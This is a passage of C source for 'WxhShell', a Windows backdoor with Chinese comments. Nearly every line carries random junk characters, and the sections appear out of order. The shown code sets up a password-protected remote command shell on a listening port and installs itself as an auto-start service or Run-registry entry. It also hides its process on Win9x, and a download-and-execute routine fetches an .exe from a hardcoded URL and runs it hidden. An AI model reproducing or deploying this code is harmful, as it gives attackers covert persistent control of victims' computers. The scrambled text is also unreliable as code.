ULONG InheritedFromUniqueProcessId; z;T_%?u
} PROCESS_BASIC_INFORMATION; &6ymGo
G;RFY!o
PROCNTQSIP NtQueryInformationProcess; ].AAHu5
l', +l{\Z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6}z-X*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [)efh9P*
& OO0v*@{
HANDLE hProcess; <Zb~tYp
PROCESS_BASIC_INFORMATION pbi; SX/E@vYb
:%&|5Ytb
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !TNp|U!
if(NULL == hInst ) return 0; Jcy{ ~>@7
>:C0ZQUW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `kE ;V!n?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z;v5L/;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HB|R1<t;HB
3@}rO~
if (!NtQueryInformationProcess) return 0; fBj-R~;0
r`dQ<U,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l&
A8P
if(!hProcess) return 0; X}V}%
QUQw/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 19h@fA[:
`[)!4Jb
CloseHandle(hProcess); {>v5~G
U ;%cp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NIo!WOi
if(hProcess==NULL) return 0; &~Hx!]uc
o;kxu(>yL'
HMODULE hMod; @ajt
D-_2
char procName[255]; \rpXG9
unsigned long cbNeeded; `1`Qu!
iNCT( N~.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7:C_{\(
K[q{)>,9
CloseHandle(hProcess); JGHQzC
4 (c{%%
if(strstr(procName,"services")) return 1; // 以服务启动 5:yRFzhqd
M\_IQj
return 0; // 注册表启动 pw.K,?kYr
} 8a8CY,n{
iSP}kM}
// 主模块 \=qZ),bU@
int StartWxhshell(LPSTR lpCmdLine) +\R__tx;
{ agGgj>DDd
SOCKET wsl; #E$*PAB
BOOL val=TRUE; ?E}9TQ
int port=0; V(5*Dn84
struct sockaddr_in door; d-cW47
0FcG;i+
if(wscfg.ws_autoins) Install(); Z mc"
Y|!m
port=atoi(lpCmdLine); ;#?G2AAv
q o6~)Aws
if(port<=0) port=wscfg.ws_port; fZiwuq!_
>ZwDcuJ~Lz
WSADATA data; GIvl|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2,6~;R
JJHO E{%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q ~f mVWq
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xj[v$HP
door.sin_family = AF_INET; =D&XE*qkZ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]++,7Z\AU
door.sin_port = htons(port); zRMz8IC.
34,'smH i%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R > [2*o"
closesocket(wsl); \iRmGvT
return 1; ,4j^lgJ
} pkf$%{"e
%i) 0sET
if(listen(wsl,2) == INVALID_SOCKET) { DkEf;P
closesocket(wsl); Z<iK(?@O
return 1; ^4Uk'T7V
} ,<BV5~T.|
Wxhshell(wsl); d%K&
WSACleanup(); q 2P_37
NY6;\ 7!n
return 0; TkR#Kzv380
OFxCV`>ce
} +|--}iE5n
..R JHa6B
// 以NT服务方式启动 vScEQS$>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '0=mV"#H{
{ z(u,$vZ_
DWORD status = 0; `-.6;T}2U
DWORD specificError = 0xfffffff; nvCp-Z$
rd;E /:`5
serviceStatus.dwServiceType = SERVICE_WIN32; ,9M2'6=
serviceStatus.dwCurrentState = SERVICE_START_PENDING; H.;2o(vD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #iQF)x| D
serviceStatus.dwWin32ExitCode = 0; ::_bEmk
serviceStatus.dwServiceSpecificExitCode = 0; 1(pv3
serviceStatus.dwCheckPoint = 0; I/%L,XyRI
serviceStatus.dwWaitHint = 0; dlA0&;}z
>@h#'[z,d
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e=s({V
if (hServiceStatusHandle==0) return; *&tTiv{^
)%b 5uZ
status = GetLastError(); O)ose?Z
if (status!=NO_ERROR) Y_6v@SiO
{ KG4zjQf
serviceStatus.dwCurrentState = SERVICE_STOPPED; :*/g~y(fE
serviceStatus.dwCheckPoint = 0; }(!rB#bf
serviceStatus.dwWaitHint = 0; wwet90_g
serviceStatus.dwWin32ExitCode = status; /x)i}M)
serviceStatus.dwServiceSpecificExitCode = specificError; 3ZN\F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~xv3R
return; >oN Wf
} (w#)|9Cxm
/bn$@Cy@
serviceStatus.dwCurrentState = SERVICE_RUNNING; g<ov` bF
serviceStatus.dwCheckPoint = 0; DZ1.Bm0
serviceStatus.dwWaitHint = 0; H )>3c1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;<GK{8
} $=X>5B
N`{6<Z0
// 处理NT服务事件,比如:启动、停止
cml~Oepf
VOID WINAPI NTServiceHandler(DWORD fdwControl) ei>iXDt
{ ;>/yY]F7
switch(fdwControl) orYZ<,u
{ hT,rcIkg:
case SERVICE_CONTROL_STOP: ~W={"n?=
serviceStatus.dwWin32ExitCode = 0; 7=NKbv]
serviceStatus.dwCurrentState = SERVICE_STOPPED; W9oWj7&h
serviceStatus.dwCheckPoint = 0; <$pv;]n
serviceStatus.dwWaitHint = 0; "',;pGg|K
{ E!.&y4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q!+:zZu
} sxS%1hp3
return; a@Zolz_Z
case SERVICE_CONTROL_PAUSE: *YX5bpR?
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~g%Ht#<
break; !Eb|AHa
case SERVICE_CONTROL_CONTINUE: =}@1Z~
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4;>HBCM4-
break; DSWmQQ
case SERVICE_CONTROL_INTERROGATE: AC 2kG
break; `8tstWYa]Y
}; LE)$_i8gX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n(|n=P:o
} X h}D_c
%C@p4
// 标准应用程序主函数 Ryygq,>VD.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G,c2?^#n
{ kwqY~@W
=9`UcTSi6p
// 获取操作系统版本 |:Maa6(W
OsIsNt=GetOsVer(); l!KPgRw
GetModuleFileName(NULL,ExeFile,MAX_PATH); nz'6^D7`r
+]zRn
// 从命令行安装 {]Cn@.TPD
if(strpbrk(lpCmdLine,"iI")) Install(); "nb.!OG~(
^u#iz
// 下载执行文件 <3/_'/C
if(wscfg.ws_downexe) { Lz p}<B
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r{84Y!k~*
WinExec(wscfg.ws_filenam,SW_HIDE); 1Sza%D;3
} U 8p %MFD
>M!LC
if(!OsIsNt) { S("dU`T?
// 如果时win9x,隐藏进程并且设置为注册表启动 (fr=N5
HideProc(); B"\9sl X
StartWxhshell(lpCmdLine); ]NI
CQ9
} W}2!~ep!
else D`mr>-Y
if(StartFromService()) Z
h9D^I
// 以服务方式启动 &zJ\D`\,O
StartServiceCtrlDispatcher(DispatchTable); WHOX<YJs
else _Y/*e<bU
// 普通方式启动 /Hq
StartWxhshell(lpCmdLine); 1-N+qNSD`
bd-iog(
return 0; EY3F9h3xM|
} o1?-+P/
8O(L;&h
Xdl
dUK[
m"n" 1;o=
=========================================== W,[QK~
98O]tL+k/u
K/*"U*9Kv
zJl;|E".
afna7TlS
k9<UDg_ Y
" vu91"
4Fa
sQ^t8Y9
#include <stdio.h> QxxPImubB
#include <string.h> :) -`
#include <windows.h> 2kDv
(".
#include <winsock2.h>
N-&ZaK
#include <winsvc.h> vr{|ubG]d
#include <urlmon.h> &Xh> w(u
jAue+tB
#pragma comment (lib, "Ws2_32.lib") @9n|5.i
#pragma comment (lib, "urlmon.lib") dT% eq7=
_u u&? <h
#define MAX_USER 100 // 最大客户端连接数 .boBb<
#define BUF_SOCK 200 // sock buffer b]Kb ~y|
#define KEY_BUFF 255 // 输入 buffer o@_i&4[MW
S9
$t9o
#define REBOOT 0 // 重启 D.%%D%AdB
#define SHUTDOWN 1 // 关机 %t!r
pyD
m.`I}
#define DEF_PORT 5000 // 监听端口 U<=d@knH
<Opw"yY&q]
#define REG_LEN 16 // 注册表键长度 aXQAm$/
>
#define SVC_LEN 80 // NT服务名长度 ~n) |
Ta/zDc"e
// 从dll定义API aG~zMO_)]
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5S!j$_(
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +;,J0,Yn
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T,uF^%$@AQ
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8IWT;%
P]y{3y:XxM
// wxhshell配置信息 a73VDQr I
struct WSCFG { wb(S7OsMO
int ws_port; // 监听端口 u,`3_I^
char ws_passstr[REG_LEN]; // 口令 ss }-YnG
int ws_autoins; // 安装标记, 1=yes 0=no ((#BU=0iK
char ws_regname[REG_LEN]; // 注册表键名 R@NFpiw
char ws_svcname[REG_LEN]; // 服务名 C9MK3vtD.
char ws_svcdisp[SVC_LEN]; // 服务显示名
59SL
mj
char ws_svcdesc[SVC_LEN]; // 服务描述信息 2Q]W
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'jE/Tre^
int ws_downexe; // 下载执行标记, 1=yes 0=no @M-Q|
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yHC[8l8%
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SFtcO
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}; l59
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// default Wxhshell configuration u$zRm(!RB
struct WSCFG wscfg={DEF_PORT, iHc(e(CB<
"xuhuanlingzhe", Fq <JxamR
1, .=<s@Sg,t
"Wxhshell", M=ag\1S&ZF
"Wxhshell", \ >wQyz
"WxhShell Service", yi~]}M
"Wrsky Windows CmdShell Service", [_3&
"Please Input Your Password: ", )6X-m9.X
1, <A|z
"http://www.wrsky.com/wxhshell.exe",
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"Wxhshell.exe" !s/qqq:g
}; )p;t
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// 消息定义模块 dyf>T}Iy
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4|5;nxkGm8
char *msg_ws_prompt="\n\r? for help\n\r#>"; /4+Q;
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char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }|) N5bGQe
char *msg_ws_ext="\n\rExit."; )16+Pm8
char *msg_ws_end="\n\rQuit."; &J|I&p
char *msg_ws_boot="\n\rReboot..."; LD
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char *msg_ws_poff="\n\rShutdown..."; 5%QYe]D
char *msg_ws_down="\n\rSave to "; {:_*P
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char *msg_ws_err="\n\rErr!"; F !OD*]
char *msg_ws_ok="\n\rOK!"; j x< <h_j
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char ExeFile[MAX_PATH]; Ei+lVLoC
int nUser = 0; +/[Rvh5WZ
HANDLE handles[MAX_USER]; NJd4( P
int OsIsNt; ;w]1H&mc*A
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SERVICE_STATUS serviceStatus; AB+lM;_>
SERVICE_STATUS_HANDLE hServiceStatusHandle; RL]$"
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// 函数声明 4Wa$>vz
int Install(void); CKFr9bT{
int Uninstall(void); zPHx\z"
int DownloadFile(char *sURL, SOCKET wsh); O0BDUpH
int Boot(int flag); s[UV(::E
void HideProc(void); +8 \?7,FY
int GetOsVer(void); QqW N7y_9
int Wxhshell(SOCKET wsl); *0L3#. i
void TalkWithClient(void *cs); B%tj-h(a
int CmdShell(SOCKET sock); e?07o!7[;
int StartFromService(void); 3xP<J)S0
int StartWxhshell(LPSTR lpCmdLine); H=WB6~8)
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YKayaI\*
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vZS/?pU~~
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// 数据结构和表定义 "W4|}plnu
SERVICE_TABLE_ENTRY DispatchTable[] = ('BB9#\t
{ #wvGS%
{wscfg.ws_svcname, NTServiceMain}, ds+2z=!!e
{NULL, NULL} Nknd8 >Hy+
}; mAIl)mq|g
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// 自我安装 Pjvb}q=
int Install(void) N~`r;E
{ |na9I6
char svExeFile[MAX_PATH]; V8o,
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HKEY key; uV}GUE%W
strcpy(svExeFile,ExeFile); j1K~zG
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// 如果是win9x系统,修改注册表设为自启动 3?h!nVI+2J
if(!OsIsNt) { HJ"sK5Q
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6wq%4RI0
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PV=sqLM~
RegCloseKey(key); @V Tw>=94
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #zSNDv`
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KqaEHL
RegCloseKey(key); *(/b{!~
return 0; e(DuJ-
} ^$oEM0h
} yC|odX#
} 6B>*v`T:
else { 7s:cg
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// 如果是NT以上系统,安装为系统服务 )B~{G\jS
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %,Y^Tp
if (schSCManager!=0) OH
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{ lqAv
SC_HANDLE schService = CreateService SEZ08:>x r
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schSCManager, j \ #y
wscfg.ws_svcname, w0<1=;_%
wscfg.ws_svcdisp, 5g9K|-
SERVICE_ALL_ACCESS, #Wv8+&n
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8<EU|/O
SERVICE_AUTO_START, QNj6ETB-d
SERVICE_ERROR_NORMAL, O#vIn}
svExeFile, {;JFoe+
NULL, AX )dZdd
NULL, jgYe\dinM
NULL, v}^uN+a5
NULL, ^Ri
;
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NULL WO+>W+|N
); JVPLE*T
if (schService!=0) eE0nW+i
{ GN|xd+O_
CloseServiceHandle(schService); N\hHu6
CloseServiceHandle(schSCManager); lOIf4
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 79'N/:.
strcat(svExeFile,wscfg.ws_svcname); bGp3V. H
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !T]bz+
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pr1>:0dg
RegCloseKey(key); %w/:mH3FA
return 0; !OR%AdxB
} BUla2p
} PV/ hnVUl
CloseServiceHandle(schSCManager); gvxOo#8]
} \!r,>P
} >#xIqxV,
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return 1; U+ief?;4F
} ~NwX,-ri
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// 自我卸载 <\\,L@
int Uninstall(void) ItQ3|-^
{ R"JT+m
HKEY key; _^] :tL6
7{u1ynt
if(!OsIsNt) { G:|=d0
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8lT2qqlr
RegDeleteValue(key,wscfg.ws_regname); SBG.t:
RegCloseKey(key); u-X P`
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T_4y;mf!@O
RegDeleteValue(key,wscfg.ws_regname); Z E},xU%
RegCloseKey(key); IdL~0;W7
return 0; ADlLodG
} 7E)*]7B%
} #,\qjY
} rY(h }z
else { VaFv%%w
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SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B ez 7
if (schSCManager!=0) '0E^th#u-0
{ bl`vT3
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oxgh;v*
if (schService!=0) rtgu{m02
{ 3h>56{P
if(DeleteService(schService)!=0) { H{fOAv1*
CloseServiceHandle(schService); $_0~Jzt,
CloseServiceHandle(schSCManager); `]l*H3+hg
return 0; [n9X5qG~
} tGh!5EZ6`
CloseServiceHandle(schService); }SF<. A
} 5oR/Q|^
CloseServiceHandle(schSCManager); "A%JT3
} 2ID]it\5
} -c'~0g]<
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return 1; j?cE0
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} w%Tjn^ d
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// 从指定url下载文件 M?zwXmTVW0
int DownloadFile(char *sURL, SOCKET wsh) ojQjx|Q}
{ 9Fv VM9
HRESULT hr; BjyGk+A
char seps[]= "/"; s.uV,E*wu
char *token; 3Zeh$DZ
char *file; 8<